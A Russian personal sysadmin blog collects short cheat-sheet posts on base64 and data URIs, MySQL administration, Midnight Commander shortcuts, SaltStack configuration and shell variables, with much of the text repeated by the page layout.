Рубрика: разное

base64

Автор записи Автор: Evgeny Yakovlev
Дата записи 2021/06/13

Пример первый:

test="$(cat NAME_FILE.JPG | base64)"

echo $test

test="$(cat NAME_FILE.JPG | base64)"

echo $test

Второй пример:

test=$( base64  NAME_FILE.JPG )

echo $test

test=$( base64 NAME_FILE.JPG )

echo $test

Третий пример:

base64 -w 0 NAME_FILE.JPG > NAME_FILE.JPG.base64

base64 -d NAME_FILE.base64 > NAME_FILE.JPG

base64 -w 0 NAME_FILE.JPG > NAME_FILE.JPG.base64

base64 -d NAME_FILE.base64 > NAME_FILE.JPG

Четвертый пример вставка в HTML \ CSS \ XML \ XHTML:

(X)HTML Image Embedding Example
<img alt="Embedded Image" 
  src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIA..." />

CSS Image Embedding Example
div.image {
  width:100px;
  height:100px;
  background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIA...);
}

XML Image Embedding Example
<image>
  <title>An Image</title>
  <link>http://www.your.domain</link>
  <url>data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIA...</url>
</image>
Embed other stuff!
Data URIs can potentially store any type of data, not just images! Try these examples on for size:

(X)HTML CSS Embedding Example
<link rel="stylesheet" type="text/css"
  href="data:text/css;base64,LyogKioqKiogVGVtcGxhdGUgKioq..." />
(X)HTML Javascript Embedding Example
<script type="text/javascript"
  src="data:text/javascript;base64,dmFyIHNjT2JqMSA9IG5ldyBzY3Jv..."></script>

(X)HTML Image Embedding Example

<img alt="Embedded Image"

src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIA..." />

CSS Image Embedding Example

div.image {

width:100px;

height:100px;

background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIA...);

}

XML Image Embedding Example

<image>

<title>An Image</title>

<url>data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIA...</url>

</image>

Embed other stuff!

Data URIs can potentially store any type of data, not just images! Try these examples on for size:

(X)HTML CSS Embedding Example

href="data:text/css;base64,LyogKioqKiogVGVtcGxhdGUgKioq..." />

(X)HTML Javascript Embedding Example

src="data:text/javascript;base64,dmFyIHNjT2JqMSA9IG5ldyBzY3Jv..."></script>

Ссылки:

https://greywyvern.com/code/php/binary2base64
https://base64.guru/converter/decode/image
https://ru.wikipedia.org/wiki/Base64

https://greywyvern.com/code/php/binary2base64

https://base64.guru/converter/decode/image

https://ru.wikipedia.org/wiki/Base64

sql - mysql - postgres разное

Конспект: MySQL / mysql / mariadb

Автор записи Автор: Evgeny Yakovlev
Дата записи 2021/06/08

Краткое введение в MySQL:

СУБД MySQL - одна из множества баз данных, поддерживаемых в PHP. 
Система MySQL распространяется бесплатно и обладает достаточной мощностью для решения реальных задач.
SQL - это аббревиатура от слов Structured Query Language, что означает структурированный язык запросов. 
Этот язык является стандартным средством для доступа к различным базам данных.
Система MySQL представляет собой сервер, к которому могут подключаться пользователи удаленных компьютеров.
Для работы с базами данных удобно пользоваться средством, входящее в комплект Web-разработчика: Denwer phpMyAdmin. 
Здесь можно создать новую базу данных, создать новую таблицу в выбранной базе данных, 
заполнить таблицу данными, а также добавлять, удалять и редактировать данные.

СУБД MySQL - одна из множества баз данных, поддерживаемых в PHP.

Система MySQL распространяется бесплатно и обладает достаточной мощностью для решения реальных задач.

SQL - это аббревиатура от слов Structured Query Language, что означает структурированный язык запросов.

Этот язык является стандартным средством для доступа к различным базам данных.

Система MySQL представляет собой сервер, к которому могут подключаться пользователи удаленных компьютеров.

Для работы с базами данных удобно пользоваться средством, входящее в комплект Web-разработчика: Denwer phpMyAdmin.

Здесь можно создать новую базу данных, создать новую таблицу в выбранной базе данных,

заполнить таблицу данными, а также добавлять, удалять и редактировать данные.

Основные типы данных:

INT -  Целое число
TINYINT - Маленькое целое число (-127 до 128 или от 0 до 255)
FLOAT - Вещественное число с плавающей точкой
DATE - Дата. Отображается в виде ГГГГ-ММ-ДД
TIME - Время. Отображается в виде ЧЧ:ММ:СС
DATETIME - Дата и время. Отображается в виде ГГГГ-ММ-ДДЧЧ:ММ:СС
YEAR[(2|4)] - Год. Можно определить двух- или четырех цифирный формат
CHAR(M) - Строка фиксированной длины М (M<=255)
VARCHAR(M) - Строка произвольной длины до М (M<=255)
TEXT - Длинные текстовые фрагменты (<=65535)
BLOB - Большие двоичные объекты (изображения, звуки)

INT - Целое число

TINYINT - Маленькое целое число (-127 до 128 или от 0 до 255)

FLOAT - Вещественное число с плавающей точкой

DATE - Дата. Отображается в виде ГГГГ-ММ-ДД

TIME - Время. Отображается в виде ЧЧ:ММ:СС

DATETIME - Дата и время. Отображается в виде ГГГГ-ММ-ДДЧЧ:ММ:СС

YEAR[(2|4)] - Год. Можно определить двух- или четырех цифирный формат

CHAR(M) - Строка фиксированной длины М (M<=255)

VARCHAR(M) - Строка произвольной длины до М (M<=255)

TEXT - Длинные текстовые фрагменты (<=65535)

BLOB - Большие двоичные объекты (изображения, звуки)

Каждый столбец после своего типа данных содержит и другие спецификаторы:

NOT NULL - Все строки таблицы должны иметь значение в этом атрибуте. Если не указано, поле может быть пустым (NULL)

AUTO_INCREMENT - Специальная возможность MySQL, которую можно задействовать в числовых столбцах. 
                 Если при вставке строк в таблицу оставлять такое поле пустым, MySQL автоматически генерирует уникальное значение идентификатора. 
                 Это значение будет на единицу больше максимального значения, уже существующего в столбце. 
                 В каждой таблице может быть не больше одного такого поля. 
                 Столбцы с AUTO_INCREMENT должны быть проиндексированными

PRIMARY KEY - Столбец является первичным ключом для таблицы. 
              Данные в этом столбце должны быть уникальными. 
              MySQL автоматически индексирует этот столбец

UNSIGNED - После целочисленного типа означает, что его значение может быть либо положительным, либо нулевым

COMMENT - Название столбца таблицы

NOT NULL - Все строки таблицы должны иметь значение в этом атрибуте. Если не указано, поле может быть пустым (NULL)

AUTO_INCREMENT - Специальная возможность MySQL, которую можно задействовать в числовых столбцах.

Если при вставке строк в таблицу оставлять такое поле пустым, MySQL автоматически генерирует уникальное значение идентификатора.

Это значение будет на единицу больше максимального значения, уже существующего в столбце.

В каждой таблице может быть не больше одного такого поля.

Столбцы с AUTO_INCREMENT должны быть проиндексированными

PRIMARY KEY - Столбец является первичным ключом для таблицы.

Данные в этом столбце должны быть уникальными.

MySQL автоматически индексирует этот столбец

UNSIGNED - После целочисленного типа означает, что его значение может быть либо положительным, либо нулевым

COMMENT - Название столбца таблицы

Для изменения ранее записанных в таблицу значений нужно воспользоваться командой UPDATE:

Например, цену всех книг повысили на 10%:
UPDATE books SET price = price * 1.1;

1 2	Например, цену всех книг повысили на 10%: UPDATE books SET price = price * 1.1;

Конструкция WHERE ограничит работу UPDATE определенным строками:

Например:
UPDATE books SET price = price * 1.05 WHERE price <= 250;

1 2	Например: UPDATE books SET price = price * 1.05 WHERE price <= 250;

Для удаления строк из базы данных используется оператор DELETE:

Ненужные строки указываются при помощи конструкции WHERE. 
Например, какие-то книги проданы:
DELETE FROM books WHERE quantity = 0;

Ненужные строки указываются при помощи конструкции WHERE.

Например, какие-то книги проданы:

DELETE FROM books WHERE quantity = 0;

Если нужно удалить все записи:

TRUNCATE TABLE table_name

1	TRUNCATE TABLE table_name

Очистка базы данных

mysqldump -uuser -ppassword --add-drop-table --no-data databasename | grep ^DROP | mysql -uuser -ppassword databasename - очистка базы данных без удаления базы данных.

1	mysqldump -uuser -ppassword --add-drop-table --no-data databasename \| grep ^DROP \| mysql -uuser -ppassword databasename - очистка базы данных без удаления базы данных.

Бэкап:

mysqldump --all --add-drop-table [--all-databases] --force [--no-data] [-c] --password=password --user=user [база] [таблицы] > backup_file
-c - формировать в виде полных INSERT. 
--all-databases - бэкап всех баз
--no-data - бэкап только структуры таблиц в базах
[таблицы] - бэкапить только указанные таблицы

mysqldump -u -p dbname > /path/to/file.sql - резервная копия
mysqldump -u root -p -f mydatabase > /home/myname/mydatabasedump.sql - бэкап

mysqldump --all --add-drop-table [--all-databases] --force [--no-data] [-c] --password=password --user=user [база] [таблицы] > backup_file

-c - формировать в виде полных INSERT.

--all-databases - бэкап всех баз

--no-data - бэкап только структуры таблиц в базах

[таблицы] - бэкапить только указанные таблицы

mysqldump -u -p dbname > /path/to/file.sql - резервная копия

mysqldump -u root -p -f mydatabase > /home/myname/mydatabasedump.sql - бэкап

Восстановление:

mysql -u username -p dbname < /path/to/file.sql - восстановление
mysql -u root -p -f mydatabase < /home/myname/mydatabasedump.sql - восстановление

1 2	mysql -u username -p dbname < /path/to/file.sql - восстановление mysql -u root -p -f mydatabase < /home/myname/mydatabasedump.sql - восстановление

Как подготовить к работе mysql после установки? (debian, centos)

Можно воспользоваться скриптом:  
mysql_secure_installation

1 2	Можно воспользоваться скриптом: mysql_secure_installation

Подключение к бд:

mysql -uUSERNAME -pPASSWORD DBNAME - подключение к базе DBNAME используя логин:USERNAME и пароль:PASSWORD

mysql -uroot -p - подключаемся для управления mysql

mysql -uUSERNAME -pPASSWORD DBNAME - подключение к базе DBNAME используя логин:USERNAME и пароль:PASSWORD

mysql -uroot -p - подключаемся для управления mysql

Выбор базы данных:

USE db_name; - выбрать базу для работы

1	USE db_name; - выбрать базу для работы

Перемещение по выбранной базе:

SHOW databases; - вывести список баз данных, к которым пользователь имеет доступ

SHOW tables; - вывести список таблиц, для текущей выбранной базы

DESCRIBE name_table; - посмотреть поля таблицы

!!! Для извлечения данных из таблицы служит оператор SELECT
Он извлекает данные из базы, выбирая строки, которые отвечают заданному критерию поиска. 
Оператор SELECT сопровождает немалое количество опций и вариантов использования.
Символ * означает, что необходимы все поля.

SELECT * FROM books;
SELECT * FROM tables_name; - показать содержимое таблицы tables_name;

Для получения доступа только к некоторому полю следует указать его имя в инструкции SELECT.
SELECT name_colum FROM tables_name; - вывести конкретный столбец из таблицы

Сортировать можно и по нескольким столбцам. 
SELECT author, title, price FROM books;
SELECT name_colum,name_colum2 FROM tables_name; - вывести конкретные столбцы из таблицы

Также можно ограничить вывод с помощью LIMIT
SELECT * FROM tables_name limit 5; - показать содержимое таблицы tables_name и ограничить пятью стоками;
SELECT * FROM users LIMIT 5 OFFSET 5; - посмотреть данные в таблице


Чтобы получить доступ к подмножеству строк в таблице, следует указать критерий выбора, который устанавливает конструкция WHERE:
% Соответствует любому количеству символов, даже нулевых
_ Соответствует ровно одному символу
Например, чтобы выбрать имеющиеся в наличии недорогие книги о PHP, надо составить запрос:
SELECT * FROM books WHERE
	price < 200 AND title LIKE '%PHP%' AND quantity != 0;

Для того, чтобы строки, извлеченные по запросу, перечислялись в определенном порядке, используется конструкция ORDER BY: 
По умолчанию порядок сортировки идет по возрастанию. 
Например:
SELECT * FROM books ORDER BY price;

Изменить порядок сортировки на обратный можно с помощью ключевого слова DESC:
SELECT * FROM books ORDER BY price DESC;

Вместо названий столбцов можно использовать их порядковые номера:
SELECT * FROM books ORDER BY 4, 2, 3;

SHOW databases; - вывести список баз данных, к которым пользователь имеет доступ

SHOW tables; - вывести список таблиц, для текущей выбранной базы

DESCRIBE name_table; - посмотреть поля таблицы

!!! Для извлечения данных из таблицы служит оператор SELECT

Он извлекает данные из базы, выбирая строки, которые отвечают заданному критерию поиска.

Оператор SELECT сопровождает немалое количество опций и вариантов использования.

Символ * означает, что необходимы все поля.

SELECT * FROM books;

SELECT * FROM tables_name; - показать содержимое таблицы tables_name;

Для получения доступа только к некоторому полю следует указать его имя в инструкции SELECT.

SELECT name_colum FROM tables_name; - вывести конкретный столбец из таблицы

Сортировать можно и по нескольким столбцам.

SELECT author, title, price FROM books;

SELECT name_colum,name_colum2 FROM tables_name; - вывести конкретные столбцы из таблицы

Также можно ограничить вывод с помощью LIMIT

SELECT * FROM tables_name limit 5; - показать содержимое таблицы tables_name и ограничить пятью стоками;

SELECT * FROM users LIMIT 5 OFFSET 5; - посмотреть данные в таблице

Чтобы получить доступ к подмножеству строк в таблице, следует указать критерий выбора, который устанавливает конструкция WHERE:

% Соответствует любому количеству символов, даже нулевых

_ Соответствует ровно одному символу

Например, чтобы выбрать имеющиеся в наличии недорогие книги о PHP, надо составить запрос:

SELECT * FROM books WHERE

price < 200 AND title LIKE '%PHP%' AND quantity != 0;

Для того, чтобы строки, извлеченные по запросу, перечислялись в определенном порядке, используется конструкция ORDER BY:

По умолчанию порядок сортировки идет по возрастанию.

Например:

SELECT * FROM books ORDER BY price;

Изменить порядок сортировки на обратный можно с помощью ключевого слова DESC:

SELECT * FROM books ORDER BY price DESC;

Вместо названий столбцов можно использовать их порядковые номера:

SELECT * FROM books ORDER BY 4, 2, 3;

Примеры создания базы данных:

Создание новой базы данных MySQL осуществляется при помощи SQL-команды CREATE DATABASE:
CREATE DATABASE IF NOT EXISTS `base` DEFAULT CHARACTER SET cp1251 COLLATE cp1251_bin


CREATE DATABASE db_name; - создать базу

CREATE DATABASE db_name CHARACTER SET utf8 COLLATE utf8_general_ci; - создать базу + установить кодировку и т.д.

Создание новой базы данных MySQL осуществляется при помощи SQL-команды CREATE DATABASE:

CREATE DATABASE IF NOT EXISTS `base` DEFAULT CHARACTER SET cp1251 COLLATE cp1251_bin

CREATE DATABASE db_name; - создать базу

CREATE DATABASE db_name CHARACTER SET utf8 COLLATE utf8_general_ci; - создать базу + установить кодировку и т.д.

Пример создания таблицы:

Создание новой таблицы осуществляется при помощи SQL-команды CREATE TABLE

CREATE TABLE pet (name VARCHAR(20), owner VARCHAR(20),species VARCHAR(20), sex CHAR(1), birth DATE, death DATE); - Создать таблицу


Например, таблица books для книжного магазина будет содержать пять полей: 
ISBN, автор, название, цена и количество экземпляров:
CREATE TABLE books (ISBN CHAR(13) NOT NULL,
                    PRIMARY KEY (ISBN),
                    author VARCHAR(30),
                    title VARCHAR(60),
                    price FLOAT(4,2),
                    quantity TINYINT UNSIGNED);

Чтобы избежать сообщения об ошибке, если таблица уже есть необходимо изменить первую строчку, добавив фразу "IF NOT EXISTS":
CREATE TABLE IF NOT EXISTS books ...

Для создания авто обновляемого поля с текущей датой типа TIMESTAMP или DATETIME используйте следующую конструкцию:
CREATE TABLE t1 (
ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
dt DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
);

Создание новой таблицы осуществляется при помощи SQL-команды CREATE TABLE

CREATE TABLE pet (name VARCHAR(20), owner VARCHAR(20),species VARCHAR(20), sex CHAR(1), birth DATE, death DATE); - Создать таблицу

Например, таблица books для книжного магазина будет содержать пять полей:

ISBN, автор, название, цена и количество экземпляров:

CREATE TABLE books (ISBN CHAR(13) NOT NULL,

PRIMARY KEY (ISBN),

author VARCHAR(30),

title VARCHAR(60),

price FLOAT(4,2),

quantity TINYINT UNSIGNED);

Чтобы избежать сообщения об ошибке, если таблица уже есть необходимо изменить первую строчку, добавив фразу "IF NOT EXISTS":

CREATE TABLE IF NOT EXISTS books ...

Для создания авто обновляемого поля с текущей датой типа TIMESTAMP или DATETIME используйте следующую конструкцию:

CREATE TABLE t1 (

ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,

dt DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP

);

Добавление данных в эту таблицу осуществляется при помощи SQL-команды INSERT:

Например:
INSERT INTO books ( ISBN, author, title, price, quantity )
           VALUES ('5-8459-0184-7', 'Зандстра Мэт',
                   'Освой самостоятельно PHP4 за 24 часа', '129', '5');

Например:

INSERT INTO books ( ISBN, author, title, price, quantity )

VALUES ('5-8459-0184-7', 'Зандстра Мэт',

'Освой самостоятельно PHP4 за 24 часа', '129', '5');

Копирование таблиц:

INSERT INTO comercial_tests (id, place_id, keywords) SELECT id, place_id, keywords FROM commercials; - Скопировать данные из одной таблицы в другую

1	INSERT INTO comercial_tests (id, place_id, keywords) SELECT id, place_id, keywords FROM commercials; - Скопировать данные из одной таблицы в другую

Права доступа и привилегии пользователя:

!!! после изменения \ добавления пользователя не забываем выполнить FLUSH PRIVILEGES;

ALL PRIVILEGES – предоставляет полный доступ к выбранной БД
CREATE – разрешает пользователям создавать новые БД
SELECT – разрешает делать выборку данных
INSERT – позволяет вносить новые записи в таблицы
UPDATE – разрешает менять ранее созданные записи в таблицах
DELETE – разрешает удалять записи из таблиц
DROP – дает возможность удалять записи в БД
GRANT OPTION – позволяет пользователю предоставлять или отзывать права других пользователей

Вот пример синтаксиса, в котором только три типа привилегий предоставляются пользователю:
GRANT SELECT, INSERT, DELETE ON database.* TO 'user'@'localhost';

Если нужно указать несколько прав, то их необходимо прописать через запятую:
GRANT [права], [права] ON *.* TO ‘user’@'localhost’;

Если нужно удалить права у выбранного пользователя:
REVOKE [права] ON [наименование БД].[ наименование таблицы] FROM ‘username’@'localhost’;

Забрать все права:
REVOKE ALL PRIVILEGES ON *.* FROM ‘user @'localhost’;

Полностью удалить пользователя можно командой:
DROP USER ‘user @'localhost’;

!!! после изменения \ добавления пользователя не забываем выполнить FLUSH PRIVILEGES;

ALL PRIVILEGES – предоставляет полный доступ к выбранной БД

CREATE – разрешает пользователям создавать новые БД

SELECT – разрешает делать выборку данных

INSERT – позволяет вносить новые записи в таблицы

UPDATE – разрешает менять ранее созданные записи в таблицах

DELETE – разрешает удалять записи из таблиц

DROP – дает возможность удалять записи в БД

GRANT OPTION – позволяет пользователю предоставлять или отзывать права других пользователей

Вот пример синтаксиса, в котором только три типа привилегий предоставляются пользователю:

GRANT SELECT, INSERT, DELETE ON database.* TO 'user'@'localhost';

Если нужно указать несколько прав, то их необходимо прописать через запятую:

GRANT [права], [права] ON *.* TO ‘user’@'localhost’;

Если нужно удалить права у выбранного пользователя:

REVOKE [права] ON [наименование БД].[ наименование таблицы] FROM ‘username’@'localhost’;

Забрать все права:

REVOKE ALL PRIVILEGES ON *.* FROM ‘user @'localhost’;

Полностью удалить пользователя можно командой:

DROP USER ‘user @'localhost’;

Создание пользователя:

CREATE USER 'user_name'@'localhost' IDENTIFIED BY 'password123'; - создать нового пользователя 
GRANT ALL PRIVILEGES ON db_name.* TO 'user_name'@'localhost'; - дать права\доступ пользователю  к соответствующей базе
flush privileges; -  перезагрузить таблицы назначения привилегий

CREATE USER 'user_name'@'localhost' IDENTIFIED BY 'password123'; - создать нового пользователя

GRANT ALL PRIVILEGES ON db_name.* TO 'user_name'@'localhost'; - дать права\доступ пользователю к соответствующей базе

flush privileges; - перезагрузить таблицы назначения привилегий

Смена пароля пользователя в MySQL

Версия mysql 5.7.6 и более современная:
ALTER USER 'имя пользователя'@'localhost' IDENTIFIED BY 'New_Password';
FLUSH PRIVILEGES;

Версия 5.7.5 и древнее:
SET PASSWORD FOR 'имя пользователя'@'localhost' = PASSWORD('New_Password');
FLUSH PRIVILEGES;

Версия mysql 5.7.6 и более современная:

ALTER USER 'имя пользователя'@'localhost' IDENTIFIED BY 'New_Password';

FLUSH PRIVILEGES;

Версия 5.7.5 и древнее:

SET PASSWORD FOR 'имя пользователя'@'localhost' = PASSWORD('New_Password');

FLUSH PRIVILEGES;

Посмотреть права доступа в MySQL:

Для того чтобы посмотреть, какие права доступа выданы пользователю MySQL, достаточно в консоли прописать команду:

SHOW GRANTS FOR 'user'@'localhost';

Для того чтобы посмотреть, какие права доступа выданы пользователю MySQL, достаточно в консоли прописать команду:

SHOW GRANTS FOR 'user'@'localhost';

Посмотреть пользователей mysql можно вот так;

use mysql;
select user,password,host from user;

select * from user order by host desc;

use mysql;

select user,password,host from user;

select * from user order by host desc;

Как запретить пользователю все операции с базой данных?

Revoke ALL PRIVILEGES on *.* from usernameS@hostname;

1	Revoke ALL PRIVILEGES on . from usernameS@hostname;

Как изменить забытый MySQL административный пароль?

1. перезапустить mysqld с опцией --skip-grant-tables
2. mysqladmin -h хост -u пользователь password 'новый пароль'

1 2	1. перезапустить mysqld с опцией --skip-grant-tables 2. mysqladmin -h хост -u пользователь password 'новый пароль'

Очистка базы данных без удаления базы:

mysqldump -uuser -ppassword --add-drop-table --no-data databasename | grep ^DROP | mysql -uuser -ppassword databasename - очистка базы данных без удаления базы данных, будут удалены все таблицы.

1	mysqldump -uuser -ppassword --add-drop-table --no-data databasename \| grep ^DROP \| mysql -uuser -ppassword databasename - очистка базы данных без удаления базы данных, будут удалены все таблицы.

Удалить базу:

DROP DATABASE dbname; - Удалить базу данных

1	DROP DATABASE dbname; - Удалить базу данных

Как выполнить поиск по регулярному выражению?

Вот например так
mysql> select rec_id from rec where rec_id regexp "^1[0]+$" limit 10;
+--------+
| rec_id |
+--------+
| 10     |
| 100    |
| 1000   |
+--------+
Данный запрос выведет все записи в которых ключевое поле это степень десяти. 
Обратите внимание на то что регулярное выражение не имеет ограничителей !

Вот например так

mysql> select rec_id from rec where rec_id regexp "^1[0]+$" limit 10;

+--------+

| rec_id |

+--------+

| 10 |

| 100 |

| 1000 |

+--------+

Данный запрос выведет все записи в которых ключевое поле это степень десяти.

Обратите внимание на то что регулярное выражение не имеет ограничителей !

Запуск произвольной команды из сеанса MySQL под Linux:

Заливаем дамп базы из файла в базу, не выходя из сеанса MySQL:
mysql> \! mysql –uUSERNAME –pPASSWORD DATABASE < DATABSE.sql

Выводим список процессов Linux:
mysql> \! top

Оценим объем логических разделов жесткого диска:
mysql> \! df -h

Заливаем дамп базы из файла в базу, не выходя из сеанса MySQL:

mysql> \! mysql –uUSERNAME –pPASSWORD DATABASE < DATABSE.sql

Выводим список процессов Linux:

mysql> \! top

Оценим объем логических разделов жесткого диска:

mysql> \! df -h

разное

Midnight Commander / mc / файловый менеджер

Автор записи Автор: Evgeny Yakovlev
Дата записи 2021/06/08

Самое полезное:

CTRL + SPACE     - подсчитать размер папки
CTRL + o         - свернуть mc и показать командную строку

CTRL + x + c     - запускает команду Chmod к файлу или помеченным файлам
CTRL + x + o     - запускает команду Chown к текущему файлу или к помеченным файлам
CTRL + x + l     - запускает команду link для создания ссылки.

CTRL + x + t     - вставка всех выделенных объектов в командную строку
ALT  + a         - вставить текущий каталог в командную строку


CTRL + s         - быстрый поиск файла или каталога
ALT + SHIFT-?    - вызывается меню расширенного поиска файлов

ALT + i          - открыть тоже самое (каталог) в неактивной панели

*                - выделить все файлы
+                - выделить по маске (также можно ввести * и выделить все)
\                - снять выделение по маске

Shift + F6	 - переименовать файл


TAB - смена панелей
F9 - меню различных действий

CTRL + SPACE - подсчитать размер папки

CTRL + o - свернуть mc и показать командную строку

CTRL + x + c - запускает команду Chmod к файлу или помеченным файлам

CTRL + x + o - запускает команду Chown к текущему файлу или к помеченным файлам

CTRL + x + l - запускает команду link для создания ссылки.

CTRL + x + t - вставка всех выделенных объектов в командную строку

ALT + a - вставить текущий каталог в командную строку

CTRL + s - быстрый поиск файла или каталога

ALT + SHIFT-? - вызывается меню расширенного поиска файлов

ALT + i - открыть тоже самое (каталог) в неактивной панели

* - выделить все файлы

+ - выделить по маске (также можно ввести * и выделить все)

\ - снять выделение по маске

Shift + F6 - переименовать файл

TAB - смена панелей

F9 - меню различных действий

ссылки

http://mydebianblog.blogspot.com/2011/01/midnight-commander.html
https://www.opennet.ru/docs/RUS/mc/mc-3.html
http://paratapok.ru/developer-tools/3285_kak-v-mc-vydelit-vse-fajly-ili-neskolko-fajlov/

http://mydebianblog.blogspot.com/2011/01/midnight-commander.html

https://www.opennet.ru/docs/RUS/mc/mc-3.html

http://paratapok.ru/developer-tools/3285_kak-v-mc-vydelit-vse-fajly-ili-neskolko-fajlov/

разное

salt-master / salt-minion / система управления конфигурациями

Автор записи Автор: Evgeny Yakovlev
Дата записи 2021/05/18

Установка

yum install salt-master - ставим на сервер
yum install salt-minion - ставим на клиент

salt-master - система управления конфигурации (ставят на сервер)
salt-minion - демон ожидающий команд мастера (ставят на клиенты)

yum install salt-master - ставим на сервер

yum install salt-minion - ставим на клиент

salt-master - система управления конфигурации (ставят на сервер)

salt-minion - демон ожидающий команд мастера (ставят на клиенты)

Управление доступам

На клиенте в конфиг файле нужно указать master:ip и он сам сходит на сервер

На сервере:
salt-key -L - показать ключи
sakt-key -y -a 192.168.1.50 - принять ключ от хоста с ip 192.168.1.50

На клиенте в конфиг файле нужно указать master:ip и он сам сходит на сервер

На сервере:

salt-key -L - показать ключи

sakt-key -y -a 192.168.1.50 - принять ключ от хоста с ip 192.168.1.50

Пример настройки конфигурации групп для salt

# /etc/salt/master.d/file_roots.conf
file_roots:
    base:
      - /etc/salt/base

# /etc/salt/master.d/groups.conf
nodegroups:
     test1: "l@192.168.1.126,192.168.1.127" # список миньонов
     test2: "G@os:CentOS" # объединяем в группу хосты на которых ос CentOS


service salt-master restart

# /etc/salt/master.d/file_roots.conf

file_roots:

base:

- /etc/salt/base

# /etc/salt/master.d/groups.conf

nodegroups:

test1: "l@192.168.1.126,192.168.1.127" # список миньонов

test2: "G@os:CentOS" # объединяем в группу хосты на которых ос CentOS

service salt-master restart

Используем salt:

salt '*' cmd.run uptime - выполнить на всех миньонах ('*') команду uptime
salt -N test cmd.run uptime - выполним команду uptime для хостов из группы test
salt -N test test.ping - выполним команду test.ping для хостов из группы test

salt '*' cmd.run uptime - выполнить на всех миньонах ('*') команду uptime

salt -N test cmd.run uptime - выполним команду uptime для хостов из группы test

salt -N test test.ping - выполним команду test.ping для хостов из группы test

Пример установки демона ntp с помощью salt

mkdir /etc/salt/base

# /etc/salt/base/ntp.conf
driftfile /var/lib/ntp/drift
logfile /var/log/ntpstats/ntp.log
resterict default kod nomodify notrap nopeer noquery
restrict -6 default kod modify notrap nopeer noquery
restrict 127.0.0.1
restrict -6 ::1
server 0.centos.pool.ntp.org iburst
server 1.centos.pool.ntp.org iburst
server 2.centos.pool.ntp.org iburst
includefile /etc/ntp/crypto/pw
keys /etc/ntp/keys


# /etc/salt/base/ntpd.sls
install ntpd:
    pkg.installed:
      - name: ntp
    service.running:
      - name: ntpd
      - enable: True
/etc/ntp.conf:
   file.managed:
     - source: salt://ntp.conf
     - user: root
     - group: root
     - mode: 644
     - template: jinja
service ntpd stop:
   cmd.run
ntpdate -b 0.centos.pool.mtp.org:
   cmd.run
service ntpd start:
   cmd.run



salt -N test state.apply ntpd test=True - выполняем проверочный запуск установки ntpd из шаблона в тестовом режиме (просто продемонстрирует что он сделает, но делать этого не будет)
salt -N test state.apply ntpd  - выполняем установку из шаблона ntpd

mkdir /etc/salt/base

# /etc/salt/base/ntp.conf

driftfile /var/lib/ntp/drift

logfile /var/log/ntpstats/ntp.log

resterict default kod nomodify notrap nopeer noquery

restrict -6 default kod modify notrap nopeer noquery

restrict 127.0.0.1

restrict -6 ::1

server 0.centos.pool.ntp.org iburst

server 1.centos.pool.ntp.org iburst

server 2.centos.pool.ntp.org iburst

includefile /etc/ntp/crypto/pw

keys /etc/ntp/keys

# /etc/salt/base/ntpd.sls

install ntpd:

pkg.installed:

- name: ntp

service.running:

- name: ntpd

- enable: True

/etc/ntp.conf:

file.managed:

- source: salt://ntp.conf

- user: root

- group: root

- mode: 644

- template: jinja

service ntpd stop:

cmd.run

ntpdate -b 0.centos.pool.mtp.org:

cmd.run

service ntpd start:

cmd.run

salt -N test state.apply ntpd test=True - выполняем проверочный запуск установки ntpd из шаблона в тестовом режиме (просто продемонстрирует что он сделает, но делать этого не будет)

salt -N test state.apply ntpd - выполняем установку из шаблона ntpd

grains \ зерна

salt -N test grains.item - показать доступные grains (зерна)

1	salt -N test grains.item - показать доступные grains (зерна)

bash разное

Конспект: sh

Автор записи Автор: Evgeny Yakovlev
Дата записи 2021/05/16

Переменные:

Принципы:

EDITOR=nano crontab -e

export http_proxy=http://ya.ru:3128 - объявляем глобальную переменную
wget http://что_то_скачать - пытаемся воспользоваться wget


Показать переменные:
set - показывает все переменные окружения
env - показывает переменные помеченные как экспортируемые

Можно увидеть в настройках:
login, sshd, telnetd,  ~/.profile,  ~/.cshrc и в других файлах.
Переменные: HOME, SHELL, PATH, TERM. LOGNAME, USER, EDITOR, ENV и т.д.

Принципы:

EDITOR=nano crontab -e

export http_proxy=http://ya.ru:3128 - объявляем глобальную переменную

wget http://что_то_скачать - пытаемся воспользоваться wget

Показать переменные:

set - показывает все переменные окружения

env - показывает переменные помеченные как экспортируемые

Можно увидеть в настройках:

Переменные: HOME, SHELL, PATH, TERM. LOGNAME, USER, EDITOR, ENV и т.д.

Примеры \ присвоения переменной:

0. Переменную распознает программа  
1. Переменную распознает шелл

Пример как присваивается переменная:
a=HEllo
set | grep '^a'

export a
env | grep '^a'

dir=/bin
ls -l $dir

echo $a

a=pwd
$a

Примеры с кавычками:
Различие между кавычками
В одинарных кавычках содержимое выводится как есть.
В двойных кавычках переменные исполняются.

a='Hello World'
echo $a

a="Hello World"
echo $a

Обходимся без кавычек, экранирование пробела с помощь слеша:
a=Hello\ World
echo $a

Примеры подстановки переменной:
a="Hello"
b=$a
echo $b

Пример с подстановкой переменно и работы одинарной кавычки
Одинарные кавычки всегда передают значение как есть, то есть шелл проигнорирует переменную.
b='$a World'
echo $b

Пример а если мы всё-таки хотим передать переменную:
На помощь приходят двойные кавычки:
b="$a World"
echo $b

Экранирование(слеш):
Слеш отменяет действие многих спец символов.
b=$a\ world
echo $b

b=\$a\ World
echo $b

b=$aWorld
echo $b

b=${a}World
echo $a
echo $b

Значения переменных рекомендуется брать в фигурные скобки.
b=${a}World
echo $a
echo $b

0. Переменную распознает программа

1. Переменную распознает шелл

Пример как присваивается переменная:

a=HEllo

set | grep '^a'

export a

env | grep '^a'

dir=/bin

ls -l $dir

echo $a

a=pwd

Примеры с кавычками:

Различие между кавычками

В одинарных кавычках содержимое выводится как есть.

В двойных кавычках переменные исполняются.

a='Hello World'

echo $a

a="Hello World"

echo $a

Обходимся без кавычек, экранирование пробела с помощь слеша:

a=Hello\ World

echo $a

